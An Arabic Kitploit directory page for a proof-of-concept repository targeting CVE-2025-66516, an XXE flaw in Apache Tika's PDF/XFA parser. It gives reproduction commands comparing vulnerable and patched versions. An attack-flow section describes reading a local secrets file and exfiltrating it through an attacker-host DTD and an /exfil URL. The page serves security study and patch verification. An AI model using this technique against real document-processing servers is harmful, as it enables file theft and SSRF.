Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-66516-POC — POC لثغرة Apache Tika CVE-2025-66516 لأغراض تعليمية فقط | Kitploit
أدوات/GitHubGitHub/sid6224/cve-2025-66516-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

POC لثغرة Apache Tika CVE-2025-66516 لأغراض تعليمية فقط

عرض المستودع
61منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

⚠️ اقرأ إخلاء المسؤولية قبل الاستخدام ⚠️

لأغراض تعليمية/اختبارات مصرح بها فقط | الترخيص | سياسة الأمان


CVE Tika Severity XXE License Platform Java


حول هذا المفهوم الإثباتي (POC)

يحتوي هذا المستودع على استغلال كمفهوم إثباتي (POC) لثغرة CVE-2025-66516، وهي ثغرة حقن كيان خارجي XML (XXE) في إصدارات Apache Tika السابقة للإصدار 3.2.2. تؤثر الثغرة على محلل XFA (بنية نماذج XML) في مكوّن tika-parser-pdf-module، مما يسمح للمهاجمين بقراءة الملفات المحلية وسرقة البيانات الحساسة عبر مستندات PDF مُعدّة بشكل خبيث.

ما هي CVE-2025-66516؟

CVE-2025-66516 هي ثغرة أمنية خطيرة في وظيفة تحليل PDF في Apache Tika. عند معالجة ملفات PDF التي تحتوي على نماذج XFA مدمجة، تفشل إصدارات Tika قبل 3.2.2 في تقييد معالجة الكيانات الخارجية بشكل صحيح في محللات XML. وهذا يسمح للمهاجمين بـ:

  • قراءة ملفات عشوائية من نظام ملفات الخادم (كشف ملفات محلية)
  • سرقة البيانات الحساسة إلى خوادم خارجية (XXE خارج النطاق)
  • تنفيذ هجمات SSRF عبر إطلاق طلبات إلى موارد الشبكة الداخلية
  • تجاوز الضوابط الأمنية في التطبيقات التي تعتمد على Tika لمعالجة المستندات

تفاصيل الثغرة

  • معرف CVE: CVE-2025-66516
  • المكوّن المتأثر: Apache Tika tika-parser-pdf-module
  • الإصدارات المتأثرة: Apache Tika < 3.2.2
  • الإصدار المُصَحَّح: Apache Tika 3.2.2 وما بعده
  • متجه الهجوم: ملف PDF مُعدّ بشكل خبيث يحتوي على نماذج XFA تتضمن حمولات XXE
  • الأثر: اختراق السرية، سرقة البيانات، تزوير الطلبات من جانب الخادم (SSRF)
  • خطورة CVSS: عالية
  • CVE ذات صلة: CVE-2025-32370 (ثغرة XXE مماثلة في Tika)

محتويات المستودع

يتضمن هذا المستودع:

  • gen_poc.py - سكربت Python لإنشاء ملفات PDF خبيثة لهجمات XXE لقراءة الملفات المحلية
  • gen_oob_poc.py - سكربت Python لإنشاء ملفات PDF لسرقة البيانات خارج النطاق
  • http_listener.py - خادم HTTP لعرض سرقة بيانات XXE خارج النطاق
  • DocumentProcessor.java - تطبيق Java نموذجي يوضح دمج Tika القابل للاستغلال
  • دليل إعادة إنتاج كامل خطوة بخطوة مع المخرجات المتوقعة
  • تحليل فني يقارن بين النسخ القابلة للاستغلال والمصححة
  • توثيق تدفق الهجوم الذي يشرح آلية الاستغلال

الكلمات المفتاحية

Apache Tika XXE، استغلال CVE-2025-66516، ثغرة أمنية في Tika، هجوم الكيان الخارجي في XML، حقن XXE في PDF، ثغرة Tika 3.2.1، XXE خارج النطاق، OOB XXE، بحث أمني، اختبار اختراق، استغلال POC، إفصاح عن ثغرة، ثغرة محلل XFA، tika-parser-pdf-module، ثغرة كشف ملفات، سرقة بيانات، هجوم SSRF، برمجة آمنة، تحليل ثغرات، اختبار أمني، قرصنة أخلاقية، أمن معلومات، بحث في الأمن السيبراني، كود استغلال Apache Tika، حمولة XXE، أمان PDF، ثغرة محلل مستندات


بيئة الاختبار

ملاحظة: تم اختبار هذا المفهوم الإثباتي والتحقق منه على:

  • إصدارات Apache Tika: 3.2.1 (قابل للاستغلال) و3.2.2 (مصحّح)
  • نظام التشغيل: Linux - Ubuntu 24.04.3 LTS
  • إصدار Java: OpenJDK 17.0.17

إعداد دليل POC

أولاً، أنشئ دليلاً مخصصاً لملفات POC للحفاظ على تنظيم جميع الملفات.

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

التحقق من البيئة

قبل المتابعة مع POC، تحقق من أن بيئتك تحتوي على التبعيات المطلوبة. ستعرض هذه الأوامر إصدارات مترجم/بيئة تشغيل Java لديك وتفاصيل نظام التشغيل، وهي مهمة لإعادة إنتاج الثغرة.

root@kitploit:~
# Check Java version
java -version
javac -version

# Check OS version
lsb_release -a

المخرجات المتوقعة: يجب أن ترى معلومات إصدار Java (مثل OpenJDK 17.x.x) وتفاصيل إصدار Ubuntu (24.04.3 LTS).

تنزيل ملفات JAR الخاصة بـ Apache Tika

قم بتنزيل كل من النسختين القابلة للاستغلال (3.2.1) والمصححة (3.2.2) من Apache Tika. نحتاج إلى النسختين معاً لإثبات أن ثغرة XXE موجودة في 3.2.1 وتم إصلاحها في 3.2.2. ملف tika-app JAR هو ملف تنفيذي متكامل يتضمن جميع محللات Tika وتبعياتها.

root@kitploit:~
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# Download patched Tika version  
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

المخرجات المتوقعة: سيتم تنزيل ملفي JAR - tika-app-3.2.1.jar (~75 ميغابايت) وtika-app-3.2.2.jar (~75 ميغابايت).

التحقق من إصدارات المكونات

تحقق من الإصدارات الدقيقة بفحص ملفات JAR manifest. يؤكد هذا أن لدينا النسخ الصحيحة القابلة للاستغلال والمصححة قبل الاختبار.

root@kitploit:~
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

المخرجات المتوقعة: ملفات manifest تعرض Implementation-Version: 3.2.1 و3.2.2 على التوالي، بالإضافة إلى طوابع زمنية للبناء وبيانات وصفية أخرى.

سرد خصائص POM للمكونات

إذا نظرنا إلى نماذج Project Object Model (تحدد خصائص POM في Maven تبعيات المشروع وإعدادات البناء والبيانات الوصفية)، نلاحظ عدم وجود tika-parsers منفصلة كما ذُكر في النشرات الأمنية - قد يكون ذلك متعلقاً بالإصدار، والافتراض أن وحدة tika-parsers في الإصدارين 3.2.1 و3.2.2، وهما جزء من POC، قد استُبدلت بوحدات محلل فردية.

root@kitploit:~
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

المخرجات المتوقعة: قائمة بجميع وحدات مكونات Tika بما في ذلك tika-core وtika-parser-pdf-module وtika-xmp وغيرها. ستلاحظ وجود وحدات محلل فردية بدلاً من وحدة tika-parsers واحدة.

التحقق من إصدارات مكونات Tika

استخرج وعرض معلومات الإصدار لمكونات Tika الأساسية. يساعدنا هذا في فهم بنية الوحدات الداخلية والتأكد من أن كلاً من المكتبة الأساسية ووحدة محلل PDF في الإصدارات المتوقعة.

root@kitploit:~
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

المخرجات المتوقعة: خصائص POM تعرض version=3.2.1 أو version=3.2.2 لكل مكوّن، مفصولة بـ ---. يجب أن تتطابق المكونات الثلاثة (tika-core وtika-parser-pdf-module وtika-app) مع الإصدار العام.

إنشاء الملف المستهدف لاستغلال XXE

أنشئ ملف أسرار وهمياً سيكون هدف هجوم XXE الخاص بنا. يحاكي هذا الملف بيانات حساسة (مثل مفاتيح API أو بيانات الاعتماد) قد يحاول المهاجم سرقتها عبر ثغرة XXE.

root@kitploit:~
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

المخرجات المتوقعة: ملف باسم fake-secrets.txt يحتوي على السلسلة INTERNAL_SERVER_KEY=EXPOSED. سيتم قراءة هذا الملف بواسطة استغلال XXE.

تحليل الكود: مقارنة النسخة القابلة للاستغلال بالمصححة

لفهم الإصلاح، نحتاج إلى فك ترجمة ومقارنة فئة XMLReaderUtils من كلا الإصدارين. هذه الفئة مسؤولة عن إنشاء محللات XML، وتنبع الثغرة من طريقة تكوينها لمعالجة كيانات XML.

root@kitploit:~
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

المخرجات المتوقعة: يؤدي الاستخراج إلى إنشاء دليلين يحتويان على ملفات الفئات المُفككة. يولد أمر javap تفكيك البايت كود لفئة XMLReaderUtils. سيعرض أمر diff الاختلافات في كيفية تكوين محلل XML بين الإصدارين.

تحديد الإصلاح

إذا قارنا بعناية، سنجد أن دعم تعريف نوع المستند (DTD) والكيانات الخارجية معطّل في 3.2.2 - وهذا هو جوهر الإصلاح:

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

المخرجات المتوقعة: سترى مخرجات diff تعرض أن الإصدار 3.2.2 يضيف استدعاءات لتعطيل معالجة DTD وحل الكيانات الخارجية. ابحث عن الأسطر التي تضبط accessExternalDTD على سلسلة فارغة وsupportDTD على false.

المفهوم الإثباتي الأول: قراءة ملف محلي عبر XXE

يوضح هذا هجوم XXE الكلاسيكي حيث يقرأ ملف PDF خبيث ملفاً محلياً من نظام ملفات الخادم. ينشئ سكربت Python ملف PDF يحتوي على نموذج XFA مدمج يتضمن XML مع حمولة XXE تشير إلى file:///fake-secrets.txt.

root@kitploit:~
# Generate malicious PDF
python3 ./gen_poc.py

# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

المخرجات المتوقعة:

  • ينشئ gen_poc.py ملف cve_2025_66516_poc.pdf الذي يحتوي على حمولة XXE
  • قابل للاستغلال (3.2.1): سيتضمن مخرج Tika INTERNAL_SERVER_KEY=EXPOSED - محتويات الملف السري!
  • مصحّح (3.2.2): لن يتضمن مخرج Tika البيانات السرية؛ هجوم XXE محجوب

المفهوم الإثباتي الثاني: XXE خارج النطاق

يوضح هذا هجوماً أكثر تطوراً من نوع XXE باستخدام سرقة البيانات خارج النطاق (OOB). بدلاً من عكس محتويات الملف في الاستجابة، يجبر ملف PDF الخبيث Tika على إرسال البيانات إلى خادم خارجي يتحكم فيه المهاجم. تعمل هذه التقنية حتى عندما لا يعيد التطبيق المحتوى المُحلَّل.

root@kitploit:~
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py

# Start HTTP listener (in separate terminal)
python3 ./http_listener.py

# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# Test OOB XXE with patched Tika 3.2.2  
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

المخرجات المتوقعة:

  • ينشئ gen_oob_poc.py ملف cve-2025-66516_OOB_XXE.pdf مع حمولة XXE خارج النطاق
  • يبدأ http_listener.py خادماً على المنفذ 8888 وينتظر الطلبات الواردة
  • قابل للاستغلال (3.2.1): سيستقبل مستمع HTTP طلبين:
    1. طلب GET لعنوان /evil.dtd (جلب DTD خارجي)
    2. طلب GET إلى /exfil?data=INTERNAL_SERVER_KEY=EXPOSED (سرقة البيانات)
  • مصحّح (3.2.2): لا يتم استلام أي طلبات HTTP؛ معالجة الكيانات الخارجية محجوبة

الاختبار على مستوى التطبيق

يختبر هذا الثغرة في سيناريو أكثر واقعية حيث يُستخدم Tika كمكتبة داخل تطبيق Java (وليس مجرد أداة سطر أوامر). يحاكي كود DocumentProcessor.java كيفية دمج تطبيق نموذجي لـ Tika لتحليل المستندات.

root@kitploit:~
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

المخرجات المتوقعة:

  • قابل للاستغلال (3.2.1): سيطبع البرنامج:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • مصحّح (3.2.2): سيطبع البرنامج:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text WITHOUT secret data]
    ✓ No XXE vulnerability detected.
    

التنظيف

أزل الدلائل والملفات المؤقتة التي أُنشئت خلال مرحلة التحليل للحفاظ على نظافة مساحة العمل.

root@kitploit:~
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

المخرجات المتوقعة: ستتم إزالة الدلائل وملفات النصوص المُفككة. لن يتم عرض أي مخرجات ما لم يكن هناك خطأ.


فهم تدفق الهجوم

تسلسل هجوم XXE على نظام الملفات المحلي

  1. يحتوي PDF على تدفق XFA مع إعلان DOCTYPE + ENTITY
  2. يكتشف Tika وجود XFA → يستدعي XFAExtractor
  3. ينشئ XFAExtractor محلل XML عبر XMLReaderUtils
  4. يعالج المحلل DOCTYPE ويسجل كيان xxe
  5. يصادف المحلل مرجع &xxe;
  6. يحل المحلل الكيان → يقرأ file:///fake-secrets.txt
  7. تُدرج محتويات الملف في XML في موقع &xxe;
  8. يستخرج XFAExtractor قيمة الحقل = محتويات الملف
  9. يتلقى التطبيق البيانات السرية في مخرج Tika

تسلسل هجوم XXE خارج النطاق (OOB)

  1. يحتوي PDF على XFA مع DOCTYPE يعلن عن كيانات معلمات (%file, %dtd)
  2. يكتشف Tika وجود XFA → يستدعي XFAExtractor
  3. ينشئ XFAExtractor محلل XML عبر XMLReaderUtils
  4. يعالج المحلل DOCTYPE ويسجل كيان %file → يشير إلى file:///fake-secrets.txt
  5. يصادف المحلل مرجع %dtd; → يشير إلى http://attacker.com:8888/evil.dtd
  6. يرسل المحلل طلب HTTP GET إلى خادم المهاجم لجلب evil.dtd
  7. يستقبل خادم HTTP الخاص بالمهاجم الطلب ويقدّم محتوى evil.dtd
  8. يعالج المحلل evil.dtd: يعرّف كيان %payload الذي يحتوي على تعريف &send
  9. يوسّع evil.dtd كيان %payload → ينشئ كيان &send مع عنوان URL للسرقة
  10. يحتوي كيان &send على: http://attacker.com:8888/exfil?data=%file;
  11. يوسّع المحلل %file; داخل عنوان &send URL → تُدرج محتويات الملف
  12. يحل المحلل كيان &send; → يرسل HTTP GET إلى نقطة نهاية السرقة
  13. يستقبل خادم HTTP الخاص بالمهاجم طلب /exfil مع محتويات الملف في معامل URL
  14. يستخرج المهاجم البيانات من معامل URL ويسجل محتويات الملف السري
  15. مخرج التطبيق غير مهم → البيانات سُرقت بالفعل إلى خادم المهاجم

المراجع

النشرات الأمنية الرسمية

  • صفحة أمان Apache Tika: https://tika.apache.org/security.html
  • NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • قاعدة بيانات MITRE CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika على GitHub: https://github.com/apache/tika

الثغرات ذات الصلة

  • CVE-2025-54988 - معرّف CVE سابق حل محله CVE-2025-66516 (نفس الثغرة، أعيد ترقيمها)
  • CVE-2025-32370 - ثغرة XXE مماثلة في Apache Tika
  • دليل OWASP لـ XXE: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

الموارد التقنية

  • توثيق Apache Tika: https://tika.apache.org/
  • تقنيات هجوم XXE: https://portswigger.net/web-security/xxe
  • مواصفة PDF XFA: مواصفة Adobe XML Forms Architecture (XFA)
  • تحليل Upwind الأمني: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (مرجع كود التطبيق)

الإفصاح المسؤول

إذا اكتشفت ثغرات أمنية، فيرجى الإبلاغ عنها بمسؤولية:

  • فريق أمان Apache: [email protected]
  • فريق Apache Tika: https://tika.apache.org/mail-lists.html

الوسوم

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration


الترخيص

هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.

للاستخدام التعليمي فقط - هذا المفهوم الإثباتي مخصص للأغراض التعليمية والاختبارات الأمنية المصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها غير قانوني.


المساهمة

المساهمات لتحسين هذا المفهوم الإثباتي أو التوثيق مرحب بها! يرجى التأكد من أن أي مساهمات:

  • تتبع ممارسات الإفصاح المسؤول
  • تتضمن إخلاءات المسؤولية المناسبة
  • لا تتضمن كوداً خبيثاً يتجاوز العرض التعليمي
  • تحافظ على التركيز على القيمة التعليمية

الإقرارات والشكر

  • فريق أمان Apache Tika لجهودهم في إصلاح هذه الثغرة
  • مجتمع البحث الأمني لممارسات الإفصاح المسؤول عن الثغرات
  • المساهمون في هذا المستودع

آخر تحديث: ديسمبر 2025

تنزيل الأداة
ssrf
oob-xxe
file-disclosure
secure-coding
vulnerability-analysis
security-testing
exploit-development
red-team
blue-team
appsec
document-parsing
java-security